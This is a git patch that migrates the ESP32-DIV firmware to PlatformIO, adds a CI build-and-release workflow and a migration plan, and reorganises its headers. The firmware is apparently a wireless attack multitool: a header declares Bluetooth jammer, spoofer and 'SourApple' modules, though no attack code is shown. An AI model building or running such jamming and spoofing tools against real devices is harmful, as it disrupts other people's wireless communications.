From e6d605a02236c0f28d5cf6591be1ae59207614f6 Mon Sep 17 00:00:00 2001 From: tau Date: Wed, 7 Jan 2026 14:37:40 +0200 Subject: [PATCH] Migrate to PlatformIO, add CI/CD, refactor structure and fix bugs --- .github/workflows/build_firmware.yml | 44 + create the plan in a new markdown file.md | 86 + {ESP32-DIV => include}/BleCompat.h | 0 {ESP32-DIV => include}/KeyboardUI.h | 0 {ESP32-DIV => include}/SettingsStore.h | 0 {ESP32-DIV => include}/Touchscreen.h | 50 +- {ESP32-DIV => include}/bleconfig.h | 122 +- {ESP32-DIV => include}/config.h | 0 {ESP32-DIV => include}/ducky.h | 0 {ESP32-DIV => include}/icon.h | 2926 ++--- {ESP32-DIV => include}/ir.h | 0 {ESP32-DIV => include}/shared.h | 0 {ESP32-DIV => include}/subconfig.h | 72 +- {ESP32-DIV => include}/utils.h | 206 +- {ESP32-DIV => include}/wificonfig.h | 146 +- lib/SmartRC-CC1101-Driver-Lib/.piopm | 1 + .../ELECHOUSE_CC1101_SRC_DRV.cpp | 1307 ++ .../ELECHOUSE_CC1101_SRC_DRV.h | 194 + lib/SmartRC-CC1101-Driver-Lib/LICENSE.txt | 22 + lib/SmartRC-CC1101-Driver-Lib/README.md | 641 + .../cc1101_New_Receive_method_advanced.ino | 81 + .../cc1101_New_Receive_method_minimal.ino | 51 + ..._Transmitt_method_Hello_World_advanced.ino | 67 + ...w_Transmitt_method_Hello_World_minimal.ino | 48 + ...1_New_Transmitt_method_Serial_advanced.ino | 68 + ...01_New_Transmitt_method_Serial_minimal.ino | 49 + .../cc1101_Receive_advanced.ino | 90 + .../cc1101_Receive_minimal.ino | 58 + .../cc1101_Transmitt_Hello_World_advanced.ino | 76 + .../cc1101_Transmitt_Hello_World_minimal.ino | 55 + .../cc1101_Transmitt_Serial_advanced.ino | 75 + .../cc1101_Transmitt_Serial_minimal.ino | 55 + .../Receive_Raw_cc1101/Receive_Raw_cc1101.ino | 65 + .../Receive_cc1101/Receive_cc1101.ino | 81 + .../Transmit_Raw_cc1101.ino | 58 + .../Transmit_cc1101/Transmit_cc1101.ino | 47 + .../pilight_debug_cc1101.ino | 107 + .../pilight_raw_cc1101/pilight_raw_cc1101.ino | 67 + .../LearnCode_cc1101/LearnCode_cc1101.ino | 85 + .../LightShow_cc1101/LightShow_cc1101.ino | 81 + .../NewRemoteRepeater/NewRemoteRepeater.ino | 115 + .../Retransmitter_cc1101.ino | 80 + .../ShowReceivedCode_cc1101.ino | 75 + .../ProtocolAnalyzeDemo_cc1101.ino | 131 + .../ReceiveDemo_Advanced_cc1101.ino | 52 + .../ReceiveDemo_Advanced_cc1101/output.ino | 70 + .../ReceiveDemo_Simple_cc1101.ino | 60 + .../ReceiveDemo_Simple_with_RSSI_cc1101.ino | 62 + .../Receive_Send_Decimal_Demo_Simple.ino | 118 + .../Repeater_cc1101/Repeater_cc1101.ino | 83 + .../SendDemo_cc1101/SendDemo_cc1101.ino | 84 + .../TypeA_WithDIPSwitches_cc1101.ino | 71 + ...peB_WithRotaryOrSlidingSwitches_cc1101.ino | 70 + .../TypeC_Intertechno_cc1101.ino | 70 + .../TypeD_REV_cc1101/TypeD_REV_cc1101.ino | 71 + .../Repeater_cc1101/Repeater_cc1101.ino | 87 + .../ThermoHygroReceiver_cc1101.ino | 80 + .../ThermoHygroTransmitter_cc1101.ino | 56 + lib/SmartRC-CC1101-Driver-Lib/keywords.txt | 56 + lib/SmartRC-CC1101-Driver-Lib/library.json | 19 + .../library.properties | 10 + platformio.ini | 48 + progress.md | 58 + {ESP32-DIV => src}/KeyboardUI.cpp | 0 {ESP32-DIV => src}/SettingsStore.cpp | 0 {ESP32-DIV => src}/Theme.cpp | 0 {ESP32-DIV => src}/Touchscreen.cpp | 54 +- {ESP32-DIV => src}/bluetooth.cpp | 0 {ESP32-DIV => src}/ducky.cpp | 0 {ESP32-DIV => src}/ir.cpp | 0 ESP32-DIV/ESP32-DIV.ino => src/main.cpp | 14 + {ESP32-DIV => src}/subghz.cpp | 4304 +++---- {ESP32-DIV => src}/utils.cpp | 0 {ESP32-DIV => src}/wifi.cpp | 10112 ++++++++-------- 74 files changed, 14295 insertions(+), 8996 deletions(-) create mode 100644 .github/workflows/build_firmware.yml create mode 100644 create the plan in a new markdown file.md rename {ESP32-DIV => include}/BleCompat.h (100%) rename {ESP32-DIV => include}/KeyboardUI.h (100%) rename {ESP32-DIV => include}/SettingsStore.h (100%) rename {ESP32-DIV => include}/Touchscreen.h (94%) rename {ESP32-DIV => include}/bleconfig.h (94%) rename {ESP32-DIV => include}/config.h (100%) rename {ESP32-DIV => include}/ducky.h (100%) rename {ESP32-DIV => include}/icon.h (98%) rename {ESP32-DIV => include}/ir.h (100%) rename {ESP32-DIV => include}/shared.h (100%) rename {ESP32-DIV => include}/subconfig.h (94%) rename {ESP32-DIV => include}/utils.h (97%) rename {ESP32-DIV => include}/wificonfig.h (94%) create mode 100644 lib/SmartRC-CC1101-Driver-Lib/.piopm create mode 100644 lib/SmartRC-CC1101-Driver-Lib/ELECHOUSE_CC1101_SRC_DRV.cpp create mode 100644 lib/SmartRC-CC1101-Driver-Lib/ELECHOUSE_CC1101_SRC_DRV.h create mode 100644 lib/SmartRC-CC1101-Driver-Lib/LICENSE.txt create mode 100644 lib/SmartRC-CC1101-Driver-Lib/README.md create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Receive_method_advanced/cc1101_New_Receive_method_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Receive_method_minimal/cc1101_New_Receive_method_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Hello_World_advanced/cc1101_New_Transmitt_method_Hello_World_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Hello_World_minimal/cc1101_New_Transmitt_method_Hello_World_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Serial_advanced/cc1101_New_Transmitt_method_Serial_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Serial_minimal/cc1101_New_Transmitt_method_Serial_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Receive_advanced/cc1101_Receive_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Receive_minimal/cc1101_Receive_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Hello_World_advanced/cc1101_Transmitt_Hello_World_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Hello_World_minimal/cc1101_Transmitt_Hello_World_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Serial_advanced/cc1101_Transmitt_Serial_advanced.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Serial_minimal/cc1101_Transmitt_Serial_minimal.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Receive_Raw_cc1101/Receive_Raw_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Receive_cc1101/Receive_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_Raw_cc1101/Transmit_Raw_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_cc1101/Transmit_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_debug_cc1101/pilight_debug_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_raw_cc1101/pilight_raw_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LearnCode_cc1101/LearnCode_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LightShow_cc1101/LightShow_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/NewRemoteRepeater/NewRemoteRepeater.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/Retransmitter_cc1101/Retransmitter_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/ShowReceivedCode_cc1101/ShowReceivedCode_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ProtocolAnalyzeDemo_cc1101/ProtocolAnalyzeDemo_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/ReceiveDemo_Advanced_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/output.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_cc1101/ReceiveDemo_Simple_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_with_RSSI_cc1101/ReceiveDemo_Simple_with_RSSI_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Receive_Send_Decimal_Demo_Simple/Receive_Send_Decimal_Demo_Simple.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Repeater_cc1101/Repeater_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/SendDemo_cc1101/SendDemo_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeA_WithDIPSwitches_cc1101/TypeA_WithDIPSwitches_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeC_Intertechno_cc1101/TypeC_Intertechno_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeD_REV_cc1101/TypeD_REV_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/Repeater_cc1101/Repeater_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroReceiver_cc1101/ThermoHygroReceiver_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroTransmitter_cc1101/ThermoHygroTransmitter_cc1101.ino create mode 100644 lib/SmartRC-CC1101-Driver-Lib/keywords.txt create mode 100644 lib/SmartRC-CC1101-Driver-Lib/library.json create mode 100644 lib/SmartRC-CC1101-Driver-Lib/library.properties create mode 100644 platformio.ini create mode 100644 progress.md rename {ESP32-DIV => src}/KeyboardUI.cpp (100%) rename {ESP32-DIV => src}/SettingsStore.cpp (100%) rename {ESP32-DIV => src}/Theme.cpp (100%) rename {ESP32-DIV => src}/Touchscreen.cpp (75%) rename {ESP32-DIV => src}/bluetooth.cpp (100%) rename {ESP32-DIV => src}/ducky.cpp (100%) rename {ESP32-DIV => src}/ir.cpp (100%) rename ESP32-DIV/ESP32-DIV.ino => src/main.cpp (99%) rename {ESP32-DIV => src}/subghz.cpp (96%) rename {ESP32-DIV => src}/utils.cpp (100%) rename {ESP32-DIV => src}/wifi.cpp (96%) diff --git a/.github/workflows/build_firmware.yml b/.github/workflows/build_firmware.yml new file mode 100644 index 0000000..e84b372 --- /dev/null +++ b/.github/workflows/build_firmware.yml @@ -0,0 +1,44 @@ +name: Build and Release Firmware + +on: + push: + branches: [ main ] + tags: + - 'v*' + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install PlatformIO + run: pip install platformio + + - name: Run Static Code Analysis + run: pio check --fail-on-defect=high + + - name: Build Firmware + run: pio run + + - name: Rename firmware binary + if: startsWith(github.ref, 'refs/tags/') + run: | + cp .pio/build/esp32-s3-devkitc-1/firmware.bin ESP32-DIV-${{ github.ref_name }}.bin + + - name: Create Release + if: startsWith(github.ref, 'refs/tags/') + uses: softprops/action-gh-release@v1 + with: + files: ESP32-DIV-${{ github.ref_name }}.bin + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/create the plan in a new markdown file.md b/create the plan in a new markdown file.md new file mode 100644 index 0000000..f0432a1 --- /dev/null +++ b/create the plan in a new markdown file.md @@ -0,0 +1,86 @@ +# **ESP32-DIV Contribution Plan: PlatformIO Migration & CI/CD Pipeline** + +Https://github.com/cifertech/ESP32-DIV + +**Objective:** Transition the ESP32-DIV project from a manual Arduino IDE workflow to a robust, automated PlatformIO environment. This will standardize dependencies, improve code quality via static analysis, and automate firmware release generation. + +## **Phase 1: Environment Standardization (PlatformIO)** + +### **Task Description** + +Transition the project build system from Arduino IDE (.ino structure) to PlatformIO. This involves creating a platformio.ini configuration file that explicitly defines hardware targets, framework versions, and external library dependencies. + +### **Technical Implementation Detail** + +1. **Initialize Project**: Create a platformio.ini file in the root directory. +2. **Define Environment**: Configure the \[env:esp32dev\] block (or appropriate board variant). +3. **Framework**: Set framework \= arduino and platform \= espressif32. +4. **Dependencies**: Identify all libraries currently installed manually in Arduino IDE (e.g., TFT\_eSPI, Adafruit\_NeoPixel, CC1101 libraries). Add them to lib\_deps using their library registry names or GitHub URLs. +5. **Structure Refactor**: + * Ensure the main .ino file is compatible or rename/refactor main logic to src/main.cpp. + * Move header files to include/ and source files to src/ if not already structured effectively. + +### **Verification/Testing** + +* **Unit Test**: Run the command pio run locally in the terminal. +* **Success Criteria**: The project compiles without fatal errors, and the generated firmware.bin matches the functional behavior of the Arduino IDE build when flashed to the device. + +## **Phase 2: Static Code Analysis Integration** + +### **Task Description** + +Integrate static analysis tools to automatically detect memory leaks, buffer overflows, and uninitialized variables, which are critical in embedded C++ security tools. + +### **Technical Implementation Detail** + +1. **Configuration**: Add check\_tool \= cppcheck and check\_skip\_packages \= yes to platformio.ini. +2. **Flags**: Configure check\_flags to enable strict checking: + check\_flags \= + cppcheck: \--enable=all \--inconclusive \--std=c++11 \--suppress=\*:\*.pio/\* + +3. **Suppression**: Create a suppression list if external libraries generate excessive false positives, ensuring the focus remains on the project's source code. + +### **Verification/Testing** + +* **Integration Test**: Execute pio check within the project root. +* **Success Criteria**: The tool generates an analysis report. The goal is to reach zero "Critical" or "High" severity errors in the src/ directory. + +## **Phase 3: GitHub Actions Workflow (CI)** + +### **Task Description** + +Implement a GitHub Actions workflow to automate the build and verification process on every push to main and every Pull Request. + +### **Technical Implementation Detail** + +1. **Workflow File**: Create .github/workflows/build\_firmware.yml. +2. **Triggers**: Set on: \[push, pull\_request\]. +3. **Job Steps**: + * **Checkout**: Use actions/checkout@v4. + * **Setup Python**: Use actions/setup-python@v4. + * **Install Core**: Run pip install platformio. + * **Build**: Run pio run. + * **Lint**: Run pio check \--fail-on-defect=high. + +### **Verification/Testing** + +* **System Test**: Push a commit to a new feature branch and open a Pull Request. +* **Success Criteria**: The GitHub Action runner triggers automatically, successfully installs dependencies, builds the firmware, passes the linting stage, and reports a green "Success" status on the PR. + +## **Phase 4: Automated Release Packaging (CD)** + +### **Task Description** + +Automate the generation of release assets when a new Git tag is pushed. This ensures users always have access to the latest compiled binaries without needing to set up a compile environment themselves. + +### **Technical Implementation Detail** + +1. **Workflow Extension**: Update .github/workflows/build\_firmware.yml to trigger on tags: tags: \['v\*'\]. +2. **Artifact Renaming**: Add a step after the build to rename .pio/build/esp32dev/firmware.bin to ESP32-DIV-${{ github.ref\_name }}.bin. +3. **Release Action**: Use softprops/action-gh-release@v1 (or similar) to create a GitHub Release. +4. **Upload**: Configure the action to upload the renamed binary file as an asset. + +### **Verification/Testing** + +* **Integration Test**: Push a test tag (e.g., git tag v1.0.0-test && git push origin v1.0.0-test). +* **Success Criteria**: A new Release appears on the GitHub repository page containing the correctly named .bin file and the release notes derived from the commit history or tag description. \ No newline at end of file diff --git a/ESP32-DIV/BleCompat.h b/include/BleCompat.h similarity index 100% rename from ESP32-DIV/BleCompat.h rename to include/BleCompat.h diff --git a/ESP32-DIV/KeyboardUI.h b/include/KeyboardUI.h similarity index 100% rename from ESP32-DIV/KeyboardUI.h rename to include/KeyboardUI.h diff --git a/ESP32-DIV/SettingsStore.h b/include/SettingsStore.h similarity index 100% rename from ESP32-DIV/SettingsStore.h rename to include/SettingsStore.h diff --git a/ESP32-DIV/Touchscreen.h b/include/Touchscreen.h similarity index 94% rename from ESP32-DIV/Touchscreen.h rename to include/Touchscreen.h index 781164c..c4b1ab5 100644 --- a/ESP32-DIV/Touchscreen.h +++ b/include/Touchscreen.h @@ -1,25 +1,25 @@ -#ifndef TOUCHSCREEN_H -#define TOUCHSCREEN_H - -#include -#include -#include "SettingsStore.h" -#include "shared.h" - -extern SPIClass touchscreenSPI; -extern XPT2046_Touchscreen ts; - -#define TOUCH_X_MIN 300 -#define TOUCH_X_MAX 3800 -#define TOUCH_Y_MIN 300 -#define TOUCH_Y_MAX 3800 -#define DISPLAY_WIDTH 240 -#define DISPLAY_HEIGHT 320 - -extern bool feature_active; - -void setupTouchscreen(); - -#endif - -bool readTouchXY(int& x, int& y); +#ifndef TOUCHSCREEN_H +#define TOUCHSCREEN_H + +#include +#include +#include "SettingsStore.h" +#include "shared.h" + +extern SPIClass touchscreenSPI; +extern XPT2046_Touchscreen ts; + +#define TOUCH_X_MIN 300 +#define TOUCH_X_MAX 3800 +#define TOUCH_Y_MIN 300 +#define TOUCH_Y_MAX 3800 +#define DISPLAY_WIDTH 240 +#define DISPLAY_HEIGHT 320 + +extern bool feature_active; + +void setupTouchscreen(); + +#endif + +bool readTouchXY(int& x, int& y); diff --git a/ESP32-DIV/bleconfig.h b/include/bleconfig.h similarity index 94% rename from ESP32-DIV/bleconfig.h rename to include/bleconfig.h index f0d6ed9..325c66b 100644 --- a/ESP32-DIV/bleconfig.h +++ b/include/bleconfig.h @@ -1,61 +1,61 @@ -#ifndef BLECONFIG_H -#define BLECONFIG_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include "BleCompat.h" -#include "esp_bt.h" -#include "esp_bt_main.h" -#include "esp_gap_bt_api.h" -#include "esp_wifi.h" -#include "shared.h" -#include "utils.h" - -extern TFT_eSPI tft; -extern PCF8574 pcf; - -namespace BleJammer { -void blejamSetup(); -void blejamLoop(); -} - -namespace BleSpoofer { - void spooferSetup(); - void spooferLoop(); -} - -namespace SourApple { - void sourappleSetup(); - void sourappleLoop(); -} - -namespace BleScan { - void bleScanSetup(); - void bleScanLoop(); - - void startBackgroundScanner(); - int getLastCount(); -} - -namespace Scanner { - void scannerSetup(); - void scannerLoop(); -} - -namespace ProtoKill { - void prokillLoop(); - void prokillSetup(); -} - -namespace BleSniffer { - void blesnifferLoop(); - void blesnifferSetup(); -} - -#endif +#ifndef BLECONFIG_H +#define BLECONFIG_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include "BleCompat.h" +#include "esp_bt.h" +#include "esp_bt_main.h" +#include "esp_gap_bt_api.h" +#include "esp_wifi.h" +#include "shared.h" +#include "utils.h" + +extern TFT_eSPI tft; +extern PCF8574 pcf; + +namespace BleJammer { +void blejamSetup(); +void blejamLoop(); +} + +namespace BleSpoofer { + void spooferSetup(); + void spooferLoop(); +} + +namespace SourApple { + void sourappleSetup(); + void sourappleLoop(); +} + +namespace BleScan { + void bleScanSetup(); + void bleScanLoop(); + + void startBackgroundScanner(); + int getLastCount(); +} + +namespace Scanner { + void scannerSetup(); + void scannerLoop(); +} + +namespace ProtoKill { + void prokillLoop(); + void prokillSetup(); +} + +namespace BleSniffer { + void blesnifferLoop(); + void blesnifferSetup(); +} + +#endif diff --git a/ESP32-DIV/config.h b/include/config.h similarity index 100% rename from ESP32-DIV/config.h rename to include/config.h diff --git a/ESP32-DIV/ducky.h b/include/ducky.h similarity index 100% rename from ESP32-DIV/ducky.h rename to include/ducky.h diff --git a/ESP32-DIV/icon.h b/include/icon.h similarity index 98% rename from ESP32-DIV/icon.h rename to include/icon.h index 3f96641..f735d8c 100644 --- a/ESP32-DIV/icon.h +++ b/include/icon.h @@ -1,1463 +1,1463 @@ -// 'rubber-ducky', 16x16px -const unsigned char bitmap_rubber_ducky [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0xe8, 0x03, 0xf8, 0x01, 0xf0, 0x01, 0xe0, 0x20, 0xe0, - 0x37, 0xf8, 0x3f, 0xf8, 0x3f, 0xfc, 0x3f, 0xfc, 0x1f, 0xf8, 0x07, 0xf0, 0x00, 0x00, 0x00, 0x00 -}; -// 'random', 16x16px -const unsigned char bitmap_icon_random [] PROGMEM = { - 0x00, 0x00, 0x00, 0x18, 0x00, 0x0c, 0x60, 0x7e, 0x78, 0xfe, 0x1d, 0xfc, 0x0d, 0x98, 0x03, 0x80, - 0x07, 0x00, 0x06, 0x98, 0x0e, 0xfc, 0x7c, 0xfe, 0x78, 0x7e, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x00 -}; -// 'graph', 16x16px -const unsigned char bitmap_icon_graph [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x44, 0x00, 0x44, 0x40, 0x54, 0x44, 0x54, 0x44, - 0x55, 0x44, 0x55, 0x54, 0x55, 0x54, 0x55, 0x54, 0x55, 0x54, 0x40, 0x00, 0x7f, 0xfe, 0x00, 0x00 -}; -// 'list', 16x16px -const unsigned char bitmap_icon_list [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x19, 0xfc, 0x24, 0x00, 0x25, 0xfc, 0x18, 0x00, 0x01, 0xc0, 0x00, 0x00, - 0x00, 0x00, 0x19, 0xfc, 0x24, 0x00, 0x25, 0xfc, 0x18, 0x00, 0x01, 0xf0, 0x00, 0x00, 0x00, 0x00 -}; -// 'no_signal', 16x16px -const unsigned char bitmap_icon_no_signal [] PROGMEM = { - 0x00, 0x00, 0x88, 0x03, 0x50, 0x03, 0x20, 0x03, 0x50, 0x03, 0x88, 0x63, 0x00, 0x63, 0x00, 0x63, - 0x06, 0x63, 0x06, 0x63, 0x06, 0x63, 0x06, 0x63, 0xc6, 0x63, 0xc6, 0x63, 0xc6, 0x63, 0x00, 0x00 -}; -// 'signals', 16x16px -const unsigned char bitmap_icon_signals [] PROGMEM = { - 0x00, 0x00, 0x00, 0x20, 0x04, 0x20, 0x04, 0xa0, 0x14, 0xa8, 0x14, 0xa8, 0x54, 0xaa, 0x54, 0xaa, - 0x54, 0xaa, 0x54, 0xaa, 0x14, 0xa8, 0x04, 0xa8, 0x04, 0xa0, 0x04, 0x20, 0x00, 0x20, 0x00, 0x00 -}; -// 'wifi_jammer', 16x16px -const unsigned char bitmap_icon_wifi_jammer [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x0f, 0xf0, 0x18, 0x28, 0x20, 0x44, 0x07, 0xe0, 0x0c, 0xb0, - 0x01, 0x00, 0x03, 0xc0, 0x06, 0x00, 0x04, 0x00, 0x0d, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'bash', 16x16px -const unsigned char bitmap_icon_bash [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x40, 0x02, 0x5c, 0x02, 0x50, 0x02, - 0x44, 0x02, 0x5d, 0xc2, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x7f, 0xfe, 0x00, 0x00, 0x00, 0x00 -}; -// 'eye', 16x16px -const unsigned char bitmap_icon_eye [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xe0, 0x38, 0x1c, 0x60, 0x06, 0x9b, 0xd9, 0x77, 0xee, - 0xf7, 0xef, 0xf7, 0xef, 0x37, 0xec, 0x1b, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'eye2', 16x16px -const unsigned char bitmap_icon_eye2 [] PROGMEM = { - 0x00, 0x00, 0x70, 0x0e, 0x40, 0x02, 0x40, 0x02, 0x07, 0xe0, 0x18, 0x18, 0x23, 0xc4, 0x46, 0x62, - 0x46, 0x62, 0x23, 0xc4, 0x18, 0x18, 0x07, 0xe0, 0x40, 0x02, 0x40, 0x02, 0x70, 0x0e, 0x00, 0x00 -}; -// 'floppy2', 16x16px -const unsigned char bitmap_icon_floppy2 [] PROGMEM = { - 0x00, 0x00, 0x31, 0xf6, 0x71, 0x96, 0x71, 0x96, 0x71, 0xf6, 0x70, 0x06, 0x7f, 0xfe, 0x7f, 0xfe, - 0x70, 0x0e, 0x6f, 0xf6, 0x6f, 0xf6, 0x68, 0x16, 0x6f, 0xf6, 0x28, 0x14, 0x6f, 0xf6, 0x00, 0x00 -}; -// 'go_back', 16x16px -const unsigned char bitmap_icon_go_back [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x06, 0x00, 0x0c, 0x00, 0x1f, 0xf0, 0x1f, 0xf8, 0x0c, 0x0c, - 0x06, 0x0c, 0x03, 0x0c, 0x00, 0x0c, 0x00, 0x78, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'DOWN', 16x16px -const unsigned char bitmap_icon_DOWN [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xf8, 0x0f, 0xf0, 0x07, 0xe0, - 0x03, 0xc0, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'UP', 16x16px -const unsigned char bitmap_icon_UP [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x03, 0xc0, - 0x07, 0xe0, 0x0f, 0xf0, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'RIGHT', 16x16px -const unsigned char bitmap_icon_RIGHT [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x06, 0x00, 0x07, 0x00, 0x07, 0x80, 0x07, 0xe0, - 0x07, 0xe0, 0x07, 0x80, 0x07, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'LEFT', 16x16px -const unsigned char bitmap_icon_LEFT [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x60, 0x00, 0xe0, 0x01, 0xe0, 0x07, 0xe0, - 0x07, 0xe0, 0x01, 0xe0, 0x00, 0xe0, 0x00, 0x60, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'nuke', 16x16px -const unsigned char bitmap_icon_nuke [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x08, 0x10, 0x18, 0x18, 0x3c, 0x3c, 0x3c, 0x3c, 0x7c, 0x3e, 0x79, 0x9e, - 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00 -}; -// 'led', 16x16px -const unsigned char bitmap_icon_led [] PROGMEM = { - 0x00, 0x00, 0x03, 0xc0, 0x04, 0x60, 0x09, 0xf0, 0x0b, 0xf0, 0x0b, 0xf0, 0x0b, 0xf0, 0x0f, 0xf0, - 0x00, 0x00, 0x1f, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x06, 0x60, 0x06, 0x60, 0x06, 0x60, 0x00, 0x00 -}; -// 'floppy', 16x16px -const unsigned char bitmap_icon_floppy [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x37, 0xec, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, - 0x3f, 0xfc, 0x3f, 0xfc, 0x3c, 0x0c, 0x3c, 0x6c, 0x3c, 0x6c, 0x3c, 0x0c, 0x00, 0x00, 0x00, 0x00 -}; -// 'antenna', 16x16px -const unsigned char bitmap_icon_antenna [] PROGMEM = { - 0x00, 0x00, 0x10, 0x08, 0x20, 0x04, 0x08, 0x10, 0x52, 0x2a, 0x54, 0x2a, 0x54, 0x2a, 0x52, 0x0a, - 